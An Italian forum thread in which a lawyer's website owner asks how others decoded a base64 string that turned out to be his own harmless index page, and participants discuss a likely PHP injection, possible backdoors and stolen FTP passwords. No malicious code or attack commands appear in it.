http://www.avvocatosilveri.it/favicon.ico
" rel="SHORTCUT
ICON">
<meta http-equiv="Content-Language" content="it">
<meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">
<title>#title# Home Page</title>
<script type="text/javascript">
<!--
function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i+
+) x.src=x.oSrc;
}
function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0;
i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j+
+].src=a[i];}}
}
function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document;
if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++)
x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++)
x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}
function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array;
for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc)
x.oSrc=x.src; x.src=a[i+2];}
}
//-->
</script>
</head>
<body background="sfondo egitto.gif" topmargin="0"
onLoad="MM_preloadImages('pulsanti/home_press.JPG','pulsanti/
settori_press.JPG','pulsanti/Consulenze_press.JPG','pulsanti/
articoli_press.JPG','pulsanti/domiciliazioni_press.JPG','pulsanti/
curriculum_press.JPG','pulsanti/contatti_press.JPG','pulsanti/
link_press.JPG','pulsanti/riservata_press.JPG')">
<table width="984" height="1245" border="0" align="center"
cellspacing="0">
  <tr>
    <td height="258" colspan="2"><p align="center"><img border="0"
src="BANNER/BANNER%20FINAL.gif" width="963" height="230"><br>
        &nbsp;<a href="home.htm" onMouseOut="MM_swapImgRestore()"
onMouseOver="MM_swapImage('home','','pulsanti/home_press.JPG',1)"><img
src="pulsanti/home_unpress.JPG" name="home" width="100" height="21"
border="0"></a> <a href="settori.htm" onMouseOut="MM_swapImgRestore()"
onMouseOver="MM_swapImage('settori','','pulsanti/settori_press.JPG',
1)"><img src="pulsanti/settori_unpress.JPG" name="settori" width="100"
height="21" border="0"></a>  <a href="consulenze.htm"
onMouseOut="MM_swapImgRestore()"
onMouseOver="MM_swapImage('consulenze','','pulsanti/
Consulenze_press.JPG',1)"><img src="pulsanti/Consulenze_unpress.JPG"
name="consulenze" width="100" height="21" border="0"> </a><a
href="articoli.htm" onMouseOut="MM_swapImgRestore()"
onMouseOver="MM_swapImage('articoli','','pulsanti/articoli_press.JPG',
1)"><img src="pulsanti/articoli_unpress.JPG" name="articoli"
width="100" height="21" border="0"> </a><a href="domiciliazioni.htm"
onMouseOut="MM_swapImgRestore()"
onMouseOver="MM_swapImage('domiciliazioni','','pulsanti/
domiciliazioni_press.JPG',1)"><img src="pulsanti/
domiciliazioni_unpress.JPG" name="domiciliazioni" width="100"
height="21" border="0"> </a><a href="curriculum.htm"
onMouseOut="MM_swapImgRestore()"
onMouseOver="MM_swapImage('curriculum','','pulsanti/
curriculum_press.JPG',1)"><img src="pulsanti/curriculum_unpress.JPG"
name="curriculum" width="100" height="21" border="0"> </a><a
href="contatti.htm" onMouseOut="MM_swapImgRestore()"
onMouseOver="MM_swapImage('contatti','','pulsanti/contatti_press.JPG',
1)"><img src="pulsanti/contatti_unpress.JPG" name="contatti"
width="100" height="21" border="0"> </a><a href="link.htm"
onMouseOut="MM_swapImgRestore()"
onMouseOver="MM_swapImage('link','','pulsanti/link_press.JPG',1)"><img
src="pulsanti/link_unpress.JPG" name="link" width="100" height="21"
border="0"> </a><a href="riservata.htm"
onMouseOut="MM_swapImgRestore()"
onMouseOver="MM_swapImage('riservata','','pulsanti/
riservata_press.JPG',1)"><img src="pulsanti/riservata_unpress.JPG"
name="riservata" width="100" height="21" border="0"></a></p>      </
td>
  </tr>
  <tr>
    <td width="155" height="186" bordercolor="#333333"
background="SFONDI/prova sfondo righine_orizzontali2(rosato).jpg"
bgcolor="#ECE9D8"><p align="center">&nbsp;</p>
    </td>
    <td width="819" rowspan="4" background="SFONDI/prova sfondo
righine_orizzontali3(azzurrato).jpg" bgcolor="#FFFFFF"><p
align="center"><font size="+7">SITO IN COSTRUZIONE</font> </p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p></td>
  </tr>
  <tr>
    <td height="375" bordercolor="#333333" background="SFONDI/prova
sfondo righine_orizzontali2(rosato).jpg" bgcolor="#ECE9D8"><div
align="center">#content#
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp; </p>
    </div></td>
  </tr>
  <tr>
    <td height="129" bordercolor="#333333" background="SFONDI/prova
sfondo righine_orizzontali2(rosato).jpg" bgcolor="#ECE9D8"><p
align="center">&nbsp;</p>
    <p align="center">&nbsp;</p>
    <p align="center">&nbsp;</p>
    <p align="center">&nbsp; </p></td>
  </tr>
  <tr>
    <td height="131" bordercolor="#333333" background="SFONDI/prova
sfondo righine_orizzontali2(rosato).jpg" bgcolor="#ECE9D8">&nbsp;</td>
  </tr>
  <tr>
    <td height="93" colspan="2" bordercolor="#333333"
background="SFONDI/prova sfondo righine_verticali1.jpg"
bgcolor="#ECE9D8"><div align="center">
      <p><font color="#666666">Avv. Massimiliano Silveri<br>
        P.zza Moretti, 2 - 06049 SPOLETO (PG) - Tel/Fax: 0743.43794</
font><br>
        <a href="mailto:
massim...@avvocatosilveri.it
"><font
color="#71522B">
massim...@avvocatosilveri.it
</font></a></p>
      </div></td>
  </tr>
</table>
<p align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</p>
</p>
</body>
</html>
----

 <head>
[CUT]
Ma questa sembra proprio essere la pagina index.htm del mio sito!!!
Come hai fatto a risalirci?!?!??!?!?! 

 Come hai fatto a risalirci?!
Te l'ha scritto, ha eseguito la base64_decode() che tu stesso hai 
riportato.
Pulisci tutto perché ti hanno fanno una bella injection e probabilmente 
hai anche qualche backdoor, io ho trovato iniettati tutti i file .php 
del sito probabilmente tramite una istallazione di wp che invece di 
cancellare ho spostato in una cartella.

 Come hai fatto a risalirci?!?!??!?!?!
magia :-)
basta fare la decode base64 di quella stringona.


questa?
("PGh0bWw+DQoNCjxoZWFkPg0KPGxpbmsgSFJFRj0iaHR0cDovL3d3dy5hdnZvY2F0b3NpbHZlcmkuaXQvZmF2aWNvbi5pY28iIHJlbD0iU0hPUlRDVVQgSUNPTiI+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJpdCI+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIj4NCjx0aXRsZT4jdGl0bGUjIEhvbWUgUGFnZTwvdGl0bGU+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQo8IS0tDQpmdW5jdGlvbiBNTV9zd2FwSW1nUmVzdG9yZSgpIHsgLy92My4wDQogIHZhciBpLHgsYT1kb2N1bWVudC5NTV9zcjsgZm9yKGk9MDthJiZpPGEubGVuZ3RoJiYoeD1hW2ldKSYmeC5vU3JjO2krKykgeC5zcmM9eC5vU3JjOw0KfQ0KZnVuY3Rpb24gTU1fcHJlbG9hZEltYWdlcygpIHsgLy92My4wDQogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsNCiAgICB2YXIgaSxqPWQuTU1fcC5sZW5ndGgsYT1NTV9wcmVsb2FkSW1hZ2VzLmFyZ3VtZW50czsgZm9yKGk9MDsgaTxhLmxlbmd0aDsgaSsrKQ0KICAgIGlmIChhW2ldLmluZGV4T2YoIiMiKSE9MCl7IGQuTU1fcFtqXT1uZXcgSW1hZ2U7IGQuTU1fcFtqKytdLnNyYz1hW2ldO319DQp9DQoNCmZ1bmN0aW9uIE1NX2ZpbmRPYmoobiwgZCkgeyAvL3Y0LjAxDQogIHZhciBwLGkseDsgIGlmKCFkKSBkPWRvY3VtZW50OyBpZigocD1uLmluZGV4T2YoIj8iKSk+MCYmcGFyZW50LmZyYW1lcy5sZW5ndGgpIHsNCiAgICBkPXBhcmVudC5mcmFtZXNbbi5zdWJzdHJpbmcocCsxKV0uZG9jdW1lbnQ7IG49bi5zdWJzdHJpbmcoMCxwKTt9DQogIGlmKCEoeD1kW25dKSYmZC5hbGwpIHg9ZC5hbGxbbl07IGZvciAoaT0wOyF4JiZpPGQuZm9ybXMubGVuZ3RoO2krKykgeD1kLmZvcm1zW2ldW25dOw0KICBmb3IoaT0wOyF4JiZkLmxheWVycyYmaTxkLmxheWVycy5sZW5ndGg7aSsrKSB4PU1NX2ZpbmRPYmoobixkLmxheWVyc1tpXS5kb2N1bWVudCk7DQogIGlmKCF4ICYmIGQuZ2V0RWxlbWVudEJ5SWQpIHg9ZC5nZXRFbGVtZW50QnlJZChuKTsgcmV0dXJuIHg7DQp9DQoNCmZ1bmN0aW9uIE1NX3N3YXBJbWFnZSgpIHsgLy92My4wDQogIHZhciBpLGo9MCx4LGE9TU1fc3dhcEltYWdlLmFyZ3VtZW50czsgZG9jdW1lbnQuTU1fc3I9bmV3IEFycmF5OyBmb3IoaT0wO2k8KGEubGVuZ3RoLTIpO2krPTMpDQogICBpZiAoKHg9TU1fZmluZE9iaihhW2ldKSkhPW51bGwpe2RvY3VtZW50Lk1NX3NyW2orK109eDsgaWYoIXgub1NyYykgeC5vU3JjPXguc3JjOyB4LnNyYz1hW2krMl07fQ0KfQ0KLy8tLT4NCjwvc2NyaXB0Pg0KPC9oZWFkPg0KDQo8Ym9keSBiYWNrZ3JvdW5kPSJzZm9uZG8gZWdpdHRvLmdpZiIgdG9wbWFyZ2luPSIwIiBvbkxvYWQ9Ik1NX3ByZWxvYWRJbWFnZXMoJ3B1bHNhbnRpL2hvbWVfcHJlc3MuSlBHJywncHVsc2FudGkvc2V0dG9yaV9wcmVzcy5KUEcnLCdwdWxzYW50aS9Db25zdWxlbnplX3ByZXNzLkpQRycsJ3B1bHNhbnRpL2FydGljb2xpX3ByZXNzLkpQRycsJ3B1bHNhbnRpL2RvbWljaWxpYXppb25pX3ByZXNzLkpQRycsJ3B1bHNhbnRpL2N1cnJpY3VsdW1fcHJlc3MuSlBHJywncHVsc2FudGkvY29udGF0dGlfcHJlc3MuSlBHJywncHVsc2FudGkvbGlua19wcmVzcy5KUEcnLCdwdWxzYW50aS9yaXNlcnZhdGFfcHJlc3MuSlBHJykiPg0KPHRhYmxlIHdpZHRoPSI5ODQiIGhlaWdodD0iMTI0NSIgYm9yZGVyPSIwIiBhbGlnbj0iY2VudGVyIiBjZWxsc3BhY2luZz0iMCI+DQogIDx0cj4NCiAgICA8dGQgaGVpZ2h0PSIyNTgiIGNvbHNwYW49IjIiPjxwIGFsaWduPSJjZW50ZXIiPjxpbWcgYm9yZGVyPSIwIiBzcmM9IkJBTk5FUi9CQU5ORVIlMjBGSU5BTC5naWYiIHdpZHRoPSI5NjMiIGhlaWdodD0iMjMwIj48YnI+DQogICAgICAgICZuYnNwOzxhIGhyZWY9ImhvbWUuaHRtIiBvbk1vdXNlT3V0PSJNTV9zd2FwSW1nUmVzdG9yZSgpIiBvbk1vdXNlT3Zlcj0iTU1fc3dhcEltYWdlKCdob21lJywnJywncHVsc2FudGkvaG9tZV9wcmVzcy5KUEcnLDEpIj48aW1nIHNyYz0icHVsc2FudGkvaG9tZV91bnByZXNzLkpQRyIgbmFtZT0iaG9tZSIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIj48L2E+IDxhIGhyZWY9InNldHRvcmkuaHRtIiBvbk1vdXNlT3V0PSJNTV9zd2FwSW1nUmVzdG9yZSgpIiBvbk1vdXNlT3Zlcj0iTU1fc3dhcEltYWdlKCdzZXR0b3JpJywnJywncHVsc2FudGkvc2V0dG9yaV9wcmVzcy5KUEcnLDEpIj48aW1nIHNyYz0icHVsc2FudGkvc2V0dG9yaV91bnByZXNzLkpQRyIgbmFtZT0ic2V0dG9yaSIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIj48L2E+ICA8YSBocmVmPSJjb25zdWxlbnplLmh0bSIgb25Nb3VzZU91dD0iTU1fc3dhcEltZ1Jlc3RvcmUoKSIgb25Nb3VzZU92ZXI9Ik1NX3N3YXBJbWFnZSgnY29uc3VsZW56ZScsJycsJ3B1bHNhbnRpL0NvbnN1bGVuemVfcHJlc3MuSlBHJywxKSI+PGltZyBzcmM9InB1bHNhbnRpL0NvbnN1bGVuemVfdW5wcmVzcy5KUEciIG5hbWU9ImNvbnN1bGVuemUiIHdpZHRoPSIxMDAiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCI+IDwvYT48YSBocmVmPSJhcnRpY29saS5odG0iIG9uTW91c2VPdXQ9Ik1NX3N3YXBJbWdSZXN0b3JlKCkiIG9uTW91c2VPdmVyPSJNTV9zd2FwSW1hZ2UoJ2FydGljb2xpJywnJywncHVsc2FudGkvYXJ0aWNvbGlfcHJlc3MuSlBHJywxKSI+PGltZyBzcmM9InB1bHNhbnRpL2FydGljb2xpX3VucHJlc3MuSlBHIiBuYW1lPSJhcnRpY29saSIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIj4gPC9hPjxhIGhyZWY9ImRvbWljaWxpYXppb25pLmh0bSIgb25Nb3VzZU91dD0iTU1fc3dhcEltZ1Jlc3RvcmUoKSIgb25Nb3VzZU92ZXI9Ik1NX3N3YXBJbWFnZSgnZG9taWNpbGlhemlvbmknLCcnLCdwdWxzYW50aS9kb21pY2lsaWF6aW9uaV9wcmVzcy5KUEcnLDEpIj48aW1nIHNyYz0icHVsc2FudGkvZG9taWNpbGlhemlvbmlfdW5wcmVzcy5KUEciIG5hbWU9ImRvbWljaWxpYXppb25pIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiPiA8L2E
\sono curioso 

 probabilmente hai anche qualche backdoor
Ci dovrebbe aver già pensato il fornitore di spazio web.
Solo che mi ha detto che per sicurezza ha cambiato la password per accedere 
all'FTP, ma non me l'ha comunicata. Gleil'ho chiesta, sto aspettando che me 
la mandi 

 ma non me l'ha comunicata.
In effetti al momento il sito è sicuro.


si il base64_decode() di quella stringa :)

 aspettando che me la mandi
Ciao!
Anche io dubito come il tuo Provider che magari è stato effettuato un 
accesso FTP.
Magari a causa di un virus proprio dal tuo PC
Abbiamo qualche sito ospitato con problemi simili e risulta un accesso FTP 
che
edita la pagina o ne carica di nuove
Nulla a che fare con i vari CMS istallati.
Euro Gala
Eticoweb


E' successo anche a un mio cliente.
Era evidentissimo che gli avessero rubato le password FTP in quanto sono 
stati attaccati solo due siti web su qualche decina di un singolo server 
web (gli altri server e gli altri siti di quel server erano intatti). E 
sono stato meodificate (in maniera evidentemente automatica) tutte le 
pagine HTML.